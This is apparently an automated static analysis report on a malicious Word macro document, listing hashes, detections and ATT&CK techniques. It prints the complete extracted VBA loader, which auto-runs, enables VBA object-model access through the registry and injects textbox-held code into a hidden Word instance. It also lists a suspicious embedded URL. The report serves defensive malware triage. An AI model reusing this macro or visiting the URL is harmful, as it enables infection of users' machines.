Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ea86163f8a59bfe9…

MALICIOUS

Office (OOXML)

76.4 KB Created: 2021-04-30 08:03:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: 6dd38c05ebb54c0e238f70950a88138f SHA-1: 0fd62a729d410c1fe3761d97f400cd00249db3ce SHA-256: ea86163f8a59bfe944c08a44a5bc2b0406b38c313f1fa9ebca8f4dd7f7be9ee3
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The 'autoopen' macro executes 'pasteMemory', which uses 'CreateObject("word.application")' to add code to the current document's VBProject. It also calls 'countLen' which writes to the registry key 'HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM', likely to disable macro security warnings. The 'libSize' function attempts to retrieve a value from a UserForm textbox, which could contain a URL for a second-stage payload. The use of WScript.Shell and Shell() calls further indicates malicious intent to execute arbitrary code.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub countLen(sizeIterator)
With CreateObject("wscript.shell")
.RegWrite sizeIterator, 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub pasteMemory(buttonIterator As String)
Set windowReference = CreateObject("word.application")
With windowReference.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "structCollectionLib"
Sub autoopen()
removeButton
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bleakrodgersa.com/dgsos/tV7HlFY/Y5KNaUVj5pPO74xv3RG7hejSBa3/8Ybu6HFexi9spmowa0zg/p1OS9E6MvubDFn01oF22ScghQj9QvQEkA9fNj4US/96473/3EMI0uqatj0zas03jNmcDEz6lSAm9OS3/qNuFGEWNDfm0JE0/tyxLNf38dN2xPqjWeQeOwhE7hrUkCyPp6lMPQ1BzrjD5Zq/44bPLuTuHocNX0VK7/41712/law10?time=S3HBuvitCgbuHoAvJ&sid=9FjnXvzqB5dP32XWMp2CLPabso&q=FVSnKuc2gZNihCv6o6FWGF8MM1&id=oRPcvitdyp0ohyRPTy277LZ&cid=G6&Bv7AH7X4=3uZPUsGjL3&ref=0eTmxisN&YCIHrp=ejgjWxN In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1648 bytes
SHA-256: 5ae5cb1a6b69e700cc9cc9459194d74ab45cb6be805d86425409f21d324213f4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{1D23F808-E052-43E3-9138-398BD20BDFE4}{BC3FB9F9-A115-4B50-BBFD-F8DF0F3AEBD7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "structCollectionLib"
Sub autoopen()
removeButton
Dim titleRepoValue As String
titleRepoValue = libSize
pasteMemory titleRepoValue
End Sub

Attribute VB_Name = "iteratorOptionBorder"
Sub pasteMemory(buttonIterator As String)
Set windowReference = CreateObject("word.application")
With windowReference.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString buttonIterator
End With
windowReference.Visible = False
windowReference.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "dataGenericA"
Function mainView() As String
mainView = Application.Version
End Function
Sub countLen(sizeIterator)
With CreateObject("wscript.shell")
.RegWrite sizeIterator, 1, "REG_DWORD"
End With
End Sub
Sub removeButton()
sizeIterator = "HKEY_CURRENT_USER\Software\Microsoft\Office\"
vbBuf = mainView
memA = "\Word\Security\AccessVBOM"
countLen sizeIterator & vbBuf & memA
End Sub
Function libSize()
libSize = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: 8c5985505779b356644af1cb8b281b9a642013d354058002b3354b5d5a58cae6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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